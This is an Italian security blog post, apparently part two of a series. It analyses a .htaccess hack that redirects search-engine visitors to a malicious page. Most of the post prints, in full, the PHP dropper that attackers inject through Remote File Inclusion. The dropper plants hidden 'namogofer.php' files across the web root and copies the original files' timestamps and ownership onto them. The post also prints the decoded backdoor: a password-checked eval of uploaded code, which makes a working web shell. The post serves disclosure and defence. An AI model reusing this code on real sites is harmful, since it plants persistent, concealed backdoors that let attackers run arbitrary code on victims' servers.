Sicurezza

.htaccess hacking – Redirect per chi arriva dai Motori di Ricerca – PARTE 2

Condividi!

Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File “.htaccess” nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola.

Per chi volesse leggerlo ecco il link: http://www.websec.it/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/

In questo articolo vi informo che ho individuato la prima chiamata che viene fatta al sito vittima tramite una vulnerabilità di Remote File Inclusione (RFI).

Chi attacca fa interpretare al sito questo codice Php che una volta elaborato dalla vittima crea dei file chiamati “nomegofer.php” in varie aree del sito cosicché chi esegue tale azione può richiamarli quando vuole per fare in modo che il sito venga nuovamente infettato. Questo il codice:

< ?php
error_reporting(1);
global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8,7,6,6,5,5,5,5,0);
function my_fwrite($f,$data) {
    global $CURFILE;
    $file_mtime = @filemtime($f);
    $file_atime = @fileatime($f);
    $dir_mtime = @filemtime(@dirname($f));
    $dir_atime = @fileatime(@dirname($f));
    if ($file_h = @fopen($f,"wb")){
        @fwrite($file_h,$data);
        @fclose($file_h);
        if ($file_mtime){
            @touch($f,$file_mtime,$file_atime);
        }elseif(@filemtime($CURFILE)){
            @chmod($f,@fileperms($CURFILE));
            @touch($f,@filemtime($CURFILE),
            @fileatime($CURFILE));
            @chgrp($f,@filegroup($CURFILE));
            @chown($f,@fileowner($CURFILE));
        };
        if ($dir_mtime)
            @touch(@dirname($f),$dir_mtime,$dir_atime);
        return $f;
    }else{
        return '';
    };
};
function ext($f){
    return substr($f, strrpos($f, ".") + 1);
};
function walkdir($p,$func='_walkdir',$l=0){
    global $START;
    global $WD_TIMEOUT;
    global $FL;
    $func_f = "{$func}_f";
    $func_d = "{$func}_d";
    $func_s = "{$func}_s";
    $func_e = "{$func}_e";
    if ($dh = @opendir("$p")){
        if (function_exists($func_s)) {
            if ($func_s($p,$l)) return 1;
        };
        while ($f = @readdir($dh)){
            if (time() - $START >= $WD_TIMEOUT[$l] )
                break;
            if ($f == '.' || $f == '..' )
                continue;
            if (@is_dir ("$p$f/") )
                walkdir("$p$f/",$func,$l+1);
            if (@is_dir ("$p$f/") && function_exists($func_d))
                $func_d("$p$f/",$l);
            if (@is_file("$p$f" ) && function_exists($func_f))
                $func_f("$p$f" ,$l);
        };
        closedir($dh);
        if (function_exists($func_e))
            $func_e($p,$l);
    };
};
function r_cut($p){
    global $R;
    return substr($p,strlen($R));
};
function say($t) {
    echo "$tn";
};
function testdata($t) {
    say(md5("testdata_$t"));
};
$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['SCRIPT_NAME'];
echo "<pre>";
testdata('start');
$fe = ext($CURFILE);
if (!$fe)
    $fe = 'php';
$FN = "namogofer.$fe";
function _walkdir_s($d,$l) {
    global $FCNT;
    $FCNT = array('fn' => '','dir' => 0,'file' => 0,'simtype' => 0);
};
function _walkdir_d($d,$l) {
    global $FCNT; $FCNT['dir' ]++;
};
function _walkdir_f($f,$l) {
    global $FCNT;
    $FCNT['file']++;
    if (ext($f) == ext($CURFILE))
        $FCNT['simtype']++;
};
function _walkdir_e($d,$l) {
    global $C,$FCNT,$FN;
    if ($C[$l]<7){
        if (my_fwrite("$d$FN",str_repeat("n",100).str_repeat(' ',150).base64_decode('+').str_repeat(' ',150)."n".str_repeat("n",100))){
            $C[$l]++;
            $FCNT['fn'] = r_cut("$d$FN");
            say(implode("t",$FCNT));
        };
    };
}; 

walkdir("$R/");
testdata('end');
echo "</pre>";
 ?>

la porzione encodata alla riga 97 una volta decodificata appare così:

< ?php
error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t) {
    echo "$tn";
};
function testdata($t) {
    say(md5("testdata_$t"));
};
echo "<pre>";
testdata('start');
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){
    if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){
        eval($code);
    }else{
        testdata('f');
    };
}else{
    testdata('pass');
};
testdata('end');
echo "</pre>";
?>

Per proteggervi da tale hacking vi invito ad utilizzare script di Sicurezza quali PHPIDS di cui potete trovare una recensione a questo link.

Per pulire i vostri file in seguito ad un eventuale attacco fate riferimento alla procedura indicata nella prima parte di questo articolo.

Click to comment
To Top